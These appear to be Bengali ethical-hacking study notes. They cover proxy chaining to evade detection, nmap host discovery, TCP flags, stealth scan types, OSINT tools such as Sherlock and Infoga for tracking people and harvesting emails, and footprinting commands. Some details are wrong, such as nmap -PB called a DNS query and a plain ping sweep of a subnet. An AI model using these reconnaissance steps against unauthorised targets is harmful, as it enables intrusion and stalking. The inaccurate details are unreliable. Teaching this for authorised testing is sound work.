সনাক্তকরণ এড়ানো: প্রোক্সি চেইনিং সাহায্যে ট্র্যাফিকটি একাধিক অবস্থান থেকে আসছে বলে সনাক্ত করা কঠিন হয়ে পড়ে, যা নেটওয়ার্ক পর্যবেক্ষণ সিস্টেমগুলিকে বিভ্রান্ত করে।

প্রোক্সি চেইনিং এর উদাহরণ:

ধরা যাক, একটি ব্যবহারকারী প্রথমে প্রোক্সি A এর মাধ্যমে সংযুক্ত হয়, তারপর এটি প্রোক্সি B এর মাধ্যমে, এবং অবশেষে প্রোক্সি C এর মাধ্যমে গন্তব্য সার্ভারে চলে যায়। প্রতিটি প্রোক্সি ব্যবহারকারীর পরিচয় গোপন রাখে এবং ট্রাফিকের প্রবাহ পরিবর্তন করে, যা আসল ব্যবহারকারীকে সনাক্ত করতে কঠিন করে তোলে।

• প্রোক্সি সার্ভার: এটি একটি মধ্যস্থ সার্ভার যা ক্লায়েন্টের অনুরোধ গন্তব্য সার্ভারে ফরওয়ার্ড করে, গোপনীয়তা, ক্যাশিং এবং নিরাপত্তা প্রদান করে।

• প্রোক্সি চেইনিং: এটি একাধিক প্রোক্সি সার্ভার ব্যবহার করে ট্র্যাফিক রুট করার প্রক্রিয়া, যা গোপনীয়তা এবং নিরাপত্তা বাড়ায়, এবং নিরাপত্তা ব্যবস্থা বা সনাক্তকরণ থেকে বাঁচতে সহায়ক হয়।

Host discovery হল একটি প্রক্রিয়া যা নেটওয়ার্কে সংযুক্ত সক্রিয় হোস্ট বা ডিভাইসগুলো চিহ্নিত করে। এটি মূলত নেটওয়ার্ক ম্যানেজমেন্ট এবং সিকিউরিটি অডিটের জন্য ব্যবহৃত হয়। nmap হল একটি জনপ্রিয় ওপেন সোর্স টুল যা নেটওয়ার্ক ইনভেনটরি স্ক্যান, নিরাপত্তা অডিট এবং হোস্ট ডিসকভারি কাজে ব্যবহৃত হয়।

Host Discovery Techniques in Nmap

Nmap বিভিন্ন টেকনিক ব্যবহার করে হোস্ট ডিসকভারির জন্য, যা পিং স্ক্যান, পোর্ট স্ক্যান এবং অন্যান্য ম্যাথড ব্যবহার করে একাধিক হোস্টকে সনাক্ত করতে সক্ষম।

1. Ping Scan (-sn)

Ping Scan ব্যবহৃত হয় নেটওয়ার্কে সক্রিয় হোস্ট বা ডিভাইস খুঁজে বের করার জন্য, যাতে পিং বা হোস্ট-ডিসকভারির জন্য অন্যান্য অগ্রিম স্ক্যানিং করা না হয়। এটি কেবল হোস্টের উপস্থিতি চেক করে।

কমান্ড:

nmap -sn <target_IP_or_network>

কমান্ডের ব্যাখ্যা:

• -sn: এটি Ping Scan চালানোর জন্য ব্যবহৃত হয়, যা শুধুমাত্র হোস্টের উপস্থিতি পরীক্ষা করে।

• target_IP_or_network: এটি নির্দিষ্ট একক IP বা নেটওয়ার্ক (যেমন 192.168.1.0/24) হতে পারে।

উদাহরণ:

nmap -sn 192.168.1.0/24

এই কমান্ডটি 192.168.1.0 থেকে 192.168.1.255 পর্যন্ত সমস্ত হোস্টের উপস্থিতি পরীক্ষা করবে।

2. ICMP Echo Request (-PE)

এই টেকনিকটি একটি ক্লাসিক পিং টেস্ট ব্যবহার করে যেখানে নেটওয়ার্কে সক্রিয় হোস্ট সনাক্ত করার জন্য ICMP Echo Request পাঠানো হয়।

কমান্ড:

nmap -PE <target_IP_or_network>

কমান্ডের ব্যাখ্যা:

• -PE: ICMP Echo Request (ping) পাঠানোর জন্য ব্যবহৃত হয়।

• target_IP_or_network: টার্গেট নেটওয়ার্ক বা IP।

উদাহরণ:

nmap -PE 192.168.1.0/24

এই কমান্ডটি ICMP Echo Request (ping) ব্যবহার করে 192.168.1.0 থেকে 192.168.1.255 পর্যন্ত হোস্টগুলির উপস্থিতি পরীক্ষা করবে।

3. TCP SYN Ping (-PS)

এই পদ্ধতিতে, নেটওয়ার্কের হোস্টগুলোকে চিহ্নিত করতে TCP SYN প্যাকেট পাঠানো হয়, যা পোর্ট স্ক্যানের শুরুতে হয়। এটি পোর্টের অবস্থা যাচাই না করেও হোস্ট চিহ্নিত করতে সাহায্য করে।

কমান্ড:

nmap -PS <port_number> <target_IP_or_network>

কমান্ডের ব্যাখ্যা:

• -PS: TCP SYN প্যাকেট পাঠানোর জন্য ব্যবহৃত হয়।

• port_number: যেকোনো পোর্ট নম্বর (যেমন 80, 443) উল্লেখ করা যেতে পারে। এটি ওই পোর্টে একটি SYN প্যাকেট পাঠাবে।

• target_IP_or_network: টার্গেট নেটওয়ার্ক বা IP।

উদাহরণ:

nmap -PS80 192.168.1.0/24

এই কমান্ডটি 80 নম্বর পোর্টে TCP SYN প্যাকেট পাঠিয়ে 192.168.1.0 থেকে 192.168.1.255 পর্যন্ত হোস্টের উপস্থিতি পরীক্ষা করবে।

4. TCP ACK Ping (-PA)

TCP ACK প্যাকেট পাঠানো হয় যাতে রাউটার এবং ফায়ারওয়ালগুলির মাধ্যমে হোস্টটি পরীক্ষা করা যায়, যেহেতু কিছু ফায়ারওয়াল ICMP পিংকে ব্লক করে থাকে।

কমান্ড:

nmap -PA <port_number> <target_IP_or_network>

কমান্ডের ব্যাখ্যা:

• -PA: TCP ACK প্যাকেট পাঠানোর জন্য ব্যবহৃত হয়।

• port_number: এটি TCP ACK প্যাকেট পাঠানোর জন্য পোর্ট নম্বর (যেমন 80)।

• target_IP_or_network: টার্গেট নেটওয়ার্ক বা IP।

উদাহরণ:

nmap -PA80 192.168.1.0/24

এই কমান্ডটি TCP ACK প্যাকেট পাঠিয়ে 192.168.1.0 থেকে 192.168.1.255 পর্যন্ত হোস্টের উপস্থিতি পরীক্ষা করবে।

5. ARP Ping (-PR)

ARP পিং (Address Resolution Protocol) ব্যবহার করে লোকাল নেটওয়ার্কে হোস্ট খুঁজে বের করা হয়। এটি একটি স্থানীয় নেটওয়ার্কে সরাসরি MAC এড্রেস খুঁজে পেতে ব্যবহার করা হয়।

কমান্ড:

nmap -PR <target_IP_or_network>

ব্যাখ্যা:

• -PR: ARP প্যাকেট পাঠানোর জন্য ব্যবহৃত হয়।

• target_IP_or_network: টার্গেট নেটওয়ার্ক বা IP।

উদাহরণ:

nmap -PR 192.168.1.0/24

এই কমান্ডটি ARP প্যাকেট পাঠিয়ে 192.168.1.0 থেকে 192.168.1.255 পর্যন্ত হোস্টগুলির উপস্থিতি পরীক্ষা করবে।

6. DNS Query (-PB)

DNS (Domain Name System) এর মাধ্যমে একটি নেটওয়ার্কে সক্রিয় হোস্ট চিহ্নিত করার জন্য Nmap DNS অনুরোধ ব্যবহার করতে পারে।

কমান্ড:

nmap -PB <domain_name> <target_IP_or_network>

ব্যাখ্যা:

• -PB: DNS হোস্ট কুয়েরি চালানোর জন্য ব্যবহৃত হয়।

• domain_name: টার্গেট ডোমেন নাম।

• target_IP_or_network: টার্গেট নেটওয়ার্ক বা IP।

উদাহরণ:

nmap -PB example.com 192.168.1.0/24

এই কমান্ডটি DNS কুয়েরি ব্যবহার করে 192.168.1.0 থেকে 192.168.1.255 পর্যন্ত হোস্টের উপস্থিতি পরীক্ষা করবে।

Nmap host discovery techniques ব্যবহৃত হয় একটি নেটওয়ার্কে সক্রিয় হোস্ট সনাক্ত করার জন্য।প্রত্যেক টেকনিকের উদ্দেশ্য আলাদা, এবংএগুলি নির্দিষ্ট পরিস্থিতিতে ব্যবহার করা যায়।Ping Scan (-sn)সাধারণ হোস্ট ডিসকভারি জন্য সহজতম পদ্ধতি, তবে TCP SYN Ping (-PS) বা ARP Ping (-PR)আরো নির্ভুল এবং নিরাপদ।

• Step 1: Application Layer:
  ব্যবহারকারীর ডেটা তৈরি করে এবং প্রয়োজনীয় প্রোটোকলের মাধ্যমে এটি প্রস্তুত করে।
  উদাহরণ: HTTP ব্যবহার করে ওয়েব পেজ অনুরোধ।

• Step 2: Transport Layer:
  ডেটা সেগমেন্টে বিভক্ত করে, পোর্ট নম্বর যোগ করে এবং ত্রুটি শনাক্তকরণের জন্য হেডার সংযুক্ত করে।
  উদাহরণ: TCP হেডার যোগ করা।

• Step 3: Internet Layer:
  উৎস এবং গন্তব্যের IP এড্রেস যোগ করে।
  উদাহরণ: IP হেডার।

• Step 4: Network Access Layer:
  ডেটাকে বিট স্ট্রিমে রূপান্তরিত করে ফিজিক্যাল নেটওয়ার্কে পাঠানো হয়।
  উদাহরণ: Ethernet ফ্রেম।

ডেটা গ্রহণ (Receiver Side):

• Step 1: Network Access Layer:
  বিট স্ট্রিম গ্রহণ করে এবং এটি ফ্রেম আকারে ডিকোড করে।

• Step 2: Internet Layer:
  IP এড্রেস যাচাই করে এবং প্যাকেটকে রিসিভারের জন্য ডিকোড করে।

• Step 3: Transport Layer:
  পোর্ট নম্বর যাচাই করে ডেটা সঠিক অ্যাপ্লিকেশনে পাঠানো হয়।

• Step 4: Application Layer:
  ব্যবহারকারীর জন্য ডেটাকে প্রস্তুত করে এবং প্রদর্শন করে।

TCP/IP Communication-এর বৈশিষ্ট্য

1. End-to-End Communication:
   TCP/IP উৎস থেকে গন্তব্য পর্যন্ত নির্ভরযোগ্য ডেটা ট্রান্সমিশন নিশ্চিত করে।

2. Scalability:
   এটি বড় এবং ছোট উভয় নেটওয়ার্কের জন্য কার্যকর।

3. Protocol Independence:
   TCP/IP বিভিন্ন ধরনের নেটওয়ার্ক প্রোটোকল সাপোর্ট করে।

4. Fault Tolerance:
   প্যাকেট-সুইচিং প্রযুক্তি ব্যবহার করে, এটি নেটওয়ার্কের ত্রুটি সত্ত্বেও ডেটা ট্রান্সমিশন নিশ্চিত করে।

TCP এবং IP-এর ভূমিকা

TCP (Transmission Control Protocol):

• ডেটা ট্রান্সমিশনের সময় সেশন স্থাপন করে।

• ডেটার অখণ্ডতা এবং সঠিকতা নিশ্চিত করে।

• উদাহরণ: ফাইল ডাউনলোড বা ইমেইল আদান-প্রদান।

IP (Internet Protocol):

• ডেটার গন্তব্য নির্ধারণ এবং রাউটিং নিশ্চিত করে।

• প্যাকেটগুলো সঠিক এড্রেসয় পাঠানোর জন্য IP অ্যাড্রেসিং ব্যবহার করে।

• উদাহরণ: IP প্যাকেট রাউটিং।

TCP/IP-এর বাস্তব উদাহরণ

1. ওয়েব ব্রাউজিং:
   একজন ব্যবহারকারী ব্রাউজারে URL টাইপ করলে TCP/IP প্রোটোকল ডেটা ট্রান্সমিশন এবং সাইট প্রদর্শন করে।

2. ইমেইল:
   SMTP এবং IMAP/POP3 এর মাধ্যমে ইমেইল প্রেরণ ও গ্রহণ।

3. ফাইল ট্রান্সফার:
   FTP ব্যবহার করে একটি সার্ভার থেকে ফাইল ডাউনলোড বা আপলোড।

রেফারেন্স:

1. "Data Communications and Networking" - Behrouz A. Forouzan

নেটওয়ার্ক স্ক্যানিং সিস্টেমের দুর্বলতা চিহ্নিত করে আক্রমণ পরিকল্পনা বা নিরাপত্তা উন্নয়নের জন্য ব্যবহৃত হয়।

• Nmap (Network Mapper): বহুল ব্যবহৃত পোর্ট এবং নেটওয়ার্ক স্ক্যানার।

• Angry IP Scanner: সহজ এবং দ্রুত হোস্ট স্ক্যানার।

• Nessus: ভলনারেবিলিটি স্ক্যানার।

• OpenVAS: ওপেন-সোর্স নিরাপত্তা ভলনারেবিলিটি স্ক্যানার।

• SolarWinds Port Scanner: পোর্ট স্ক্যানিং এবং নেটওয়ার্ক বিশ্লেষণের জন্য।

TCP Flags (টিসিপি ফ্ল্যাগসমূহ)

TCP Flags হল TCP (Transmission Control Protocol) এর হেডারে উপস্থিত নির্দিষ্ট বিট যা একটি TCP সেগমেন্টের উদ্দেশ্য এবং অবস্থা নির্দেশ করে। TCP Flags নেটওয়ার্কে ডাটা ট্রান্সমিশন এবং সংযোগ ম্যানেজমেন্ট নিয়ন্ত্রণ করতে ব্যবহৃত হয়।

Subscribe now

TCP Flags-এর তালিকা এবং তাদের কাজ

SYN

• Synchronize

• সংযোগ স্থাপনের অনুরোধের জন্য ব্যবহৃত হয়।

• TCP তিন-ওয়ে হ্যান্ডশেক শুরু করতে ব্যবহৃত হয়।

ACK

• Acknowledgment

• ডেটা বা প্যাকেট পাওয়ার নিশ্চিতকরণ।

• পূর্ববর্তী প্যাকেট সঠিকভাবে গ্রহণ করা হয়েছে তা নিশ্চিত করতে ব্যবহৃত হয়।

FIN

• Finish

• সংযোগ বন্ধ করার অনুরোধ নির্দেশ করে।

• TCP সংযোগ বন্ধ করার জন্য ব্যবহৃত হয়।

RST

• Reset

• সংযোগ পুনরায় সেট করার জন্য ব্যবহৃত হয়।

• একটি অস্বাভাবিক বা অপ্রত্যাশিত অবস্থায় সংযোগ বন্ধ করতে ব্যবহৃত হয়।

PSH

• Push

• ডেটা অবিলম্বে প্রক্রিয়াজাত করার জন্য সার্ভারকে নির্দেশ করে।

• ডেটা তৎক্ষণাৎ অ্যাপ্লিকেশন লেভেলে পাঠানোর নির্দেশ দেয়।

URG

• Urgent

• ডেটা তাত্ক্ষণিক এবং জরুরি হিসেবে চিহ্নিত করে।

• ডেটাকে উচ্চ অগ্রাধিকার দিয়ে প্রসেস করার নির্দেশ দেয়।

ECE

• ECN-Echo

• Congestion Notification (জ্যাম সংকেত) চিহ্নিত করে।

• Congestion বা জ্যামের অবস্থা নির্দেশ করে।

CWR

• Congestion Window Reduced

• জ্যাম নিয়ন্ত্রণে Congestion Window কমানোর সংকেত দেয়।

• TCP উইন্ডোর আকার কমানোর সংকেত নির্দেশ করে।

  

TCP Flags-এর কার্যপ্রক্রিয়া:

SYN ফ্ল্যাগ:

• TCP তিন-ওয়ে হ্যান্ডশেক শুরু করতে ব্যবহৃত হয়।

• উদাহরণ: Client -> Server: SYN (সংযোগ স্থাপনের অনুরোধ)

ACK ফ্ল্যাগ:

• সংযোগ বা ডেটা পাওয়ার নিশ্চয়তা দিতে ব্যবহৃত হয়।

• উদাহরণ: Server -> Client: ACK (অনুরোধ গ্রহণ নিশ্চিত)

FIN ফ্ল্যাগ:

• TCP সংযোগ বন্ধ করার জন্য ব্যবহৃত হয়।

• উদাহরণ: Client -> Server: FIN (সংযোগ বন্ধের অনুরোধ)

RST ফ্ল্যাগ:

• সংযোগে কোনো সমস্যা হলে সেটি পুনরায় সেট করার জন্য ব্যবহৃত হয়।

• উদাহরণ: Server -> Client: RST (অবৈধ সংযোগ পুনরায় সেট)

PSH ফ্ল্যাগ:

• ডেটা তৎক্ষণাৎ প্রক্রিয়াজাত করার জন্য নির্দেশ দেয়।

• উদাহরণ: Client -> Server: PSH (জরুরি ডেটা পাঠানো)

URG ফ্ল্যাগ:

• ডেটা তাত্ক্ষণিক প্রক্রিয়াজাত করতে বলে।

• উদাহরণ: Client -> Server: URG (জরুরি ডেটা)

TCP Flags-এর বাস্তবজীবনের ব্যবহার:

নেটওয়ার্ক ডায়াগনস্টিক্স:

• Flags ব্যবহার করে সংযোগ সমস্যা সনাক্ত করা যায়।

• উদাহরণ: Wireshark দিয়ে প্যাকেট বিশ্লেষণ।

ইথিক্যাল হ্যাকিং:

• Vulnerability চেক এবং নেটওয়ার্ক স্ক্যানিং-এর জন্য ব্যবহার।

• উদাহরণ: Nmap ব্যবহার করে টিসিপি পোর্ট স্ক্যান।

DDoS আক্রমণ সনাক্তকরণ:

• RST বা SYN flood আক্রমণ চিহ্নিত করা যায়।

রেফারেন্স:

1. Tanenbaum, A. S. "Computer Networks," Pearson Education.

2. Kurose, J., & Ross, K. W. "Computer Networking: A Top-Down Approach," Pearson Education.

3. Wireshark Official Documentation: https://www.wireshark.org/

4. Nmap Manual: https://nmap.org/

Scanning-এর উদ্দেশ্য:

• নেটওয়ার্কের দুর্বল পয়েন্ট খুঁজে বের করা।

• সিস্টেমের অ্যাক্টিভ ডিভাইস ও পোর্ট শনাক্ত করা।

• সেবা ও প্রোটোকল সম্পর্কে তথ্য সংগ্রহ।

• অ্যাক্সেসযোগ্য রিসোর্স শনাক্ত করা।

Scanning এর ধরন:

১. Port Scanning:

· পোর্ট স্ক্যানিংয়ের মাধ্যমে একটি সিস্টেমে খোলা, বন্ধ বা ফিল্টার করা পোর্টগুলো শনাক্ত করা হয়।

o TCP পোর্ট।

o UDP পোর্ট।

· লক্ষ্য:

o পোর্টের মাধ্যমে চালু থাকা সার্ভিসগুলো চিহ্নিত করা।

o দুর্বল পোর্ট শনাক্ত করে আক্রমণের সুযোগ খোঁজা।

২. Network Scanning:

· নেটওয়ার্ক স্ক্যানিংয়ের মাধ্যমে নেটওয়ার্কে উপস্থিত লাইভ হোস্ট, ডিভাইস এবং তাদের কার্যক্রম বিশ্লেষণ করা হয়।

· লক্ষ্য:

o নেটওয়ার্কে সক্রিয় ডিভাইস এবং তাদের IP চিহ্নিত করা।

o সাবনেট এবং নেটওয়ার্কের টপোলজি বোঝা।

৩. Vulnerability Scanning:

· সিস্টেমের দুর্বলতা চিহ্নিত করার জন্য এটি ব্যবহার করা হয়।

লক্ষ্য:

o সিস্টেমে থাকা নিরাপত্তা ফাঁক এবং অসম্পূর্ণ প্যাচ চিহ্নিত করা।

o ম্যালওয়্যার বা এক্সপ্লয়েট আক্রমণ প্রতিরোধে ব্যবস্থা নেওয়া।

Scanning এর কৌশল:

১. TCP Scanning:

• TCP পোর্টগুলোতে SYN/ACK প্যাকেট পাঠিয়ে পোর্টের স্ট্যাটাস যাচাই করা হয়।

• লক্ষ্য:

  • খোলা বা বন্ধ পোর্ট শনাক্ত করা।

২. UDP Scanning:

• UDP পোর্টগুলোতে ডাটাগ্রাম পাঠিয়ে তাদের স্ট্যাটাস যাচাই করা হয়।

• উদাহরণ: DNS, SNMP সার্ভিস স্ক্যানিং।

৩. SYN Scanning:

• হাফ-ওপেন স্ক্যান নামেও পরিচিত। আক্রমণকারী পূর্ণ সংযোগ স্থাপন না করেও পোর্টের স্ট্যাটাস পরীক্ষা করে।

• উপকারিতা:

  • দ্রুত এবং তুলনামূলকভাবে গোপনীয়।

৪. XMAS Scanning:

• TCP প্যাকেটের FIN, URG, এবং PSH ফ্ল্যাগ সেট করে পোর্ট স্ক্যানিং করা হয়।

• লক্ষ্য:

  • ফায়ারওয়াল এবং নিরাপত্তা ডিভাইস বাইপাস করা।

৫. Null Scanning:

• TCP প্যাকেটে কোনো ফ্ল্যাগ সেট না করে পোর্টের স্ট্যাটাস যাচাই করা হয়।

• লক্ষ্য:

  • ফায়ারওয়াল বা IDS সনাক্ত না করে তথ্য সংগ্রহ করা।

Scanning টুলস:

Nmap (Network Mapper):

• পোর্ট স্ক্যানিং, সার্ভিস সনাক্তকরণ, এবং অপারেটিং সিস্টেম চিহ্নিত করার জন্য সবচেয়ে জনপ্রিয় টুল।

Nessus:

• ভলনারেবিলিটি স্ক্যানিং এবং সিস্টেম দুর্বলতা বিশ্লেষণের জন্য ব্যবহৃত হয়।

OpenVAS:

• একটি ওপেন সোর্স টুল যা নেটওয়ার্ক এবং সিস্টেম দুর্বলতা স্ক্যান করতে ব্যবহৃত হয়।

Netcat:

• নেটওয়ার্ক ট্রাবলশুটিং এবং পোর্ট স্ক্যানিংয়ের জন্য ব্যবহার করা হয়।

Wireshark:

• নেটওয়ার্ক ট্রাফিক বিশ্লেষণ এবং প্যাকেট ক্যাপচার করতে ব্যবহৃত হয়।

Scanning প্রক্রিয়ার সম্পুর্ণ প্রসেস (স্টেপ বাই স্টেপ):

Target Identification (টার্গেট চিহ্নিতকরণ):

• স্ক্যানিং করার জন্য টার্গেট সিস্টেম বা নেটওয়ার্ক চিহ্নিত করা।

Port and Service Detection (পোর্ট এবং সার্ভিস সনাক্তকরণ):

• টার্গেট সিস্টেমের চালু থাকা পোর্ট এবং সার্ভিসগুলো স্ক্যান করা।

Operating System Detection (ওএস সনাক্তকরণ):

• টার্গেট সিস্টেমের অপারেটিং সিস্টেম শনাক্ত করা।

Vulnerability Detection (দুর্বলতা সনাক্তকরণ):

• সিস্টেম বা পোর্টে থাকা দুর্বলতা চিহ্নিত করা।

Result Analysis (ফলাফল বিশ্লেষণ):

• সংগৃহীত তথ্য বিশ্লেষণ করে আক্রমণের পরিকল্পনা করা।

recon-ng][default] >  workspaces create example_name
$ recon-ng -w workspace_name (To enter directly) 
recon-ng][default] >marketplace search ssl
> marketplace info ssltools 
[recon-ng][test] > marketplace install hackertarget
recon-ng][test] > modules load hackertarget
[recon-ng][test2][whois_pocs] > show options
> options set SOURCE example.com
[recon-ng][test][hackertarget] > info

Recon-dog:

git clone  https://github.com/s0md3v/ReconDog.git
cd ReconDog
ls
chmod +x dog
./dog

Billcipher:

git clone https://github.com/bahatiphill/BillCipher.git
cd BillCipher
pip install -r requirements.txt
pip3 install -r requirements.txt
python3 billcipher.py

theHarvester

theHarvester is a tool designed to be used in the early stages of a penetration test. lt is used for open-source intelligence gathering and helps to determine a company's external threat landscape on the Internet.

$ theHarvester -d hacker.test -l 5 -b google

In the above command, -d specifies the domain or company name to search, -I specifies

the number of results to be retrieved, and -b specifies the data source as google.

Cewl

Gathering wordlist from a website

cewl www.website.com
cewl email www.certifiedhacker.com

Sherlock:

Sherlock to search a vast number of social networking sites for a target username. This tool helps the attacker to locate the target user on various social networking sites along with the complete URL.

git clone https://github.com/sherlock-project/sherlock.git
cd sherlock
python3 sherlock.py username_0r_email

DNS Recon:

$dnsrecon -d www.domain.com

$dnsrecon -d www.domain.com --db /path/to/sqllite.file

$dnsrecon -t snoop -n ns_server -d www.domain.com -D /path/to/dict.txt

DNSRecon টুল দিয়ে DNS রেকর্ড বিশ্লেষণ করা যায়। $dnsrecon -d www.domain.com কমান্ডটি একটি ডোমেইনের সকল DNS রেকর্ড (যেমন A, MX, TXT) বের করে। $dnsrecon -d www.domain.com --db /path/to/sqllite.file কমান্ডটি রেকর্ডগুলো SQLite ডাটাবেজ ফাইলে সংরক্ষণ করে। $dnsrecon -t snoop -n ns_server -d www.domain.com -D /path/to/dict.txt কমান্ডটি নির্দিষ্ট নাম সার্ভার ব্যবহার করে ডিকশনারি ফাইলের মাধ্যমে সাবডোমেইন শনাক্ত করার চেষ্টা করে এবং DNS Zone Transfer পরীক্ষা চালায়। এটি নেটওয়ার্ক এনালাইসিস ও পেন্টেস্টিংয়ের জন্য অত্যন্ত কার্যকর।

Infoga
lnfoga is a tool used for gathering email account information (IP, hostname, country, etc.) from different public sources (search engines, pgp key servers, and Shodan), and it checks if an email was leaked using the haveibeenpwned.com API. For example, the command.

python3 infoga.py --info mymail@gmail.com --breach —v 3 -- report report_infoga.txt

Install Infoga

$ git clone https://github.com/m4ll0k/Infoga.git

$ cd Infoga

$ python3 setup.py install

$ python3 infoga.py

python infoga.py --domain microsoft.com --source all —-breach -v 2 --report /home/Documents/microsoft.txt

will retrieve all the publicly available email addresses related to the domain microsoft.com along with email account information.

$python infoga.py --info pagla@pgmai1.com --breach —v 3 -- report ../mail.txt

The above command will retrieve email account information for a specified email address.

Infoga টুল ইমেইল সংগ্রহ ও বিশ্লেষণের জন্য ব্যবহৃত হয়। $ git clone https://github.com/m4ll0k/Infoga.git কমান্ডটি দিয়ে টুলটি ক্লোন করার পর $ cd Infoga ও $ python3 setup.py install কমান্ড দিয়ে সেটআপ করতে হয়। $ python3 infoga.py --domain microsoft.com --source all --breach -v 2 --report /home/Documents/microsoft.txt কমান্ডটি microsoft.com ডোমেইনের সাথে সম্পর্কিত পাবলিক ইমেইল এবং অ্যাকাউন্ট তথ্য সংগ্রহ করে রিপোর্ট ফাইলে সংরক্ষণ করে। $ python3 infoga.py --info pagla@pgmai1.com --breach -v 3 --report ../mail.txt কমান্ডটি নির্দিষ্ট ইমেইল অ্যাড্রেসের ডাটা লিক বা ব্রিচ তথ্য সংগ্রহের জন্য ব্যবহৃত হয়।

Network Footprinting এর উদ্দেশ্য:

• নেটওয়ার্ক আর্কিটেকচার বোঝা:
  আক্রমণকারী বা নিরাপত্তা বিশ্লেষক নেটওয়ার্কের মূল উপাদানগুলো যেমন সার্ভার, রাউটার, সুইচ, ফায়ারওয়াল ইত্যাদি শনাক্ত করতে চান।

• নেটওয়ার্ক সম্পর্কিত রিসোর্স সংগ্রহ:
  নেটওয়ার্কের নাম, IP ঠিকানা, সাবনেট, DNS, মেইল সার্ভার ইত্যাদি সম্পর্কে তথ্য সংগ্রহ করা হয়।

• নেটওয়ার্কের দুর্বলতা নির্ধারণ:
  নেটওয়ার্কের নিরাপত্তার দুর্বলতা চিহ্নিত করা যায় যেমন আক্রমণকারী কোন পোর্টের মাধ্যমে সিস্টেমে প্রবেশ করতে পারে।

• সিস্টেমের সুরক্ষা নিশ্চিতকরণ:
  একটি নেটওয়ার্কের কনফিগারেশন পরীক্ষা করে তার নিরাপত্তা ব্যবস্থা উন্নত করা যায়।

Network Footprinting এর পদ্ধতি:

১. WHOIS Lookup:

WHOIS সার্ভিস ব্যবহার করে একটি নেটওয়ার্কের নাম এবং নিবন্ধিত মালিক সম্পর্কিত তথ্য সংগ্রহ করা যায়। এটি আক্রমণকারীকে ডোমেইন মালিক এবং রেজিস্ট্রার সম্পর্কে ধারণা দেয়।

whois example.com

২. DNS Querying:

DNS (Domain Name System) Querying এর মাধ্যমে নেটওয়ার্কের নেম সার্ভার (NS), অ্যাড্রেস রেকর্ড (A), মেইল এক্সচেঞ্জ রেকর্ড (MX) ইত্যাদি খুঁজে বের করা যায়। এটি আক্রমণকারীদের নেটওয়ার্কের সার্ভিস এবং সার্ভারের সম্পর্কে মূল্যবান তথ্য প্রদান করে।

 dig example.com A 

dig example.com MX

৩. Ping Sweep:

Ping Sweep হল একটি পদ্ধতি যার মাধ্যমে একটি IP রেঞ্জ বা সাবনেটের মধ্যে কোন ডিভাইস বা হোস্ট সক্রিয় আছে তা চিহ্নিত করা হয়। এই পদ্ধতি আক্রমণকারীরা ব্যবহার করে সক্রিয় ডিভাইস এবং তাদের IP ঠিকানা শনাক্ত করে।

কমান্ড :

ping 192.168.1.0/24

৪. Traceroute:

Traceroute ব্যবহার করে একজন আক্রমণকারী নেটওয়ার্কে ডেটা প্যাকেটের পথ এবং যে রাউটারগুলি ডেটা স্থানান্তরের জন্য ব্যবহৃত হচ্ছে তা নির্ধারণ করতে পারে। এটি একটি গুরুত্বপূর্ণ পদ্ধতি যা আক্রমণকারীদের নেটওয়ার্কের ইনফ্রাস্ট্রাকচার এবং রাউটিং টেবিল সম্পর্কে তথ্য দেয়।

কমান্ড:

traceroute example.com

৫. Banner Grabbing:

Banner Grabbing হল একটি পদ্ধতি যার মাধ্যমে নেটওয়ার্ক সার্ভিস (যেমন HTTP, FTP, SMTP) সম্পর্কিত সঠিক সংস্করণ এবং তথ্য সংগ্রহ করা হয়। সাধারণত, সার্ভারের সেবা গ্রহণের সময়, সার্ভার নিজে এক ধরণের "banner" পাঠায় যা সিস্টেমের সংস্করণ এবং অন্যান্য গুরুত্বপূর্ণ তথ্য ধারণ করে।

কমান্ড উদাহরণ:

nc -v -n example.com 80

৬. Port Scanning:

Port Scanning ব্যবহার করে একজন আক্রমণকারী কোনো নির্দিষ্ট হোস্ট বা সার্ভারে খোলা পোর্টগুলির তথ্য সংগ্রহ করতে পারে। এটি আক্রমণকারীদের সিস্টেমের দুর্বলতা শনাক্ত করতে সাহায্য করে এবং কোন পোর্টে আক্রমণ চালানো যাবে সে সম্পর্কে ধারণা দেয়।

nmap -sP 192.168.1.0/24

৭. Network Sniffing (Packet Sniffing):

Network Sniffing হল একটি পদ্ধতি যার মাধ্যমে নেটওয়ার্কের উপর দিয়ে যাওয়া ডেটা প্যাকেটগুলো ক্যাপচার করা হয়। এই পদ্ধতির মাধ্যমে আক্রমণকারী নেটওয়ার্কে চলমান প্রোটোকল, ব্যবহারকারী ডেটা, এবং অন্যান্য গুরুত্বপূর্ণ তথ্য সংগ্রহ করতে পারেন।

• কমান্ড উদাহরণ:
  tcpdump -i eth0

৮. ARP Spoofing:

ARP Spoofing বা ARP Poisoning হল একটি আক্রমণ পদ্ধতি যেখানে আক্রমণকারী একটি নেটওয়ার্কের মধ্যে ARP (Address Resolution Protocol) টেবিলের ভুল তথ্য প্রবেশ করিয়ে রাউটিং এবং নেটওয়ার্ক ট্রাফিক পরিবর্তন করতে পারে। এর মাধ্যমে আক্রমণকারী ডেটা স্নিফিং, ডেটা পরিবর্তন, এবং Man-in-the-Middle (MITM) আক্রমণ করতে পারে।

arp -a

Add a static ARP entry

arp -s <IP_address> <MAC_address>

arp -s 192.168.1.10 00-14-22-01-23-45

৯. Netcat (NC) Tool:

Netcat একটি পোর্ট স্ক্যানিং এবং সেন্ট্রালাইজড নেটওয়ার্ক ইন্টারফেসের জন্য খুবই জনপ্রিয় একটি টুল। এটি আক্রমণকারীদের পোর্ট স্ক্যানিং এবং ব্যানার গ্র্যাবিংয়ের জন্য ব্যবহার হতে পারে।

nc -zv example.com 80-443

Network Footprinting এর সতর্কতা:

• আইনি সীমানা:
  নেটওয়ার্ক ফুটা বা সিস্টেম স্ক্যানিং করার আগে অবশ্যই নিশ্চিত করুন যে আপনি অনুমোদিত। অবৈধ স্ক্যানিং বা তথ্য সংগ্রহ আইনগত সমস্যার সৃষ্টি করতে পারে।

• নেটওয়ার্কের প্রতিরক্ষা:
  নেটওয়ার্কের নিরাপত্তা ব্যবস্থা নিশ্চিত করুন, যাতে আক্রমণকারীরা সঠিকভাবে তথ্য সংগ্রহ করতে না পারে। DNS, WHOIS এবং অন্যান্য তথ্য সংগ্রহের জন্য নিয়মিত পর্যালোচনা ও নিরাপত্তা ব্যবস্থা গ্রহণ করুন।

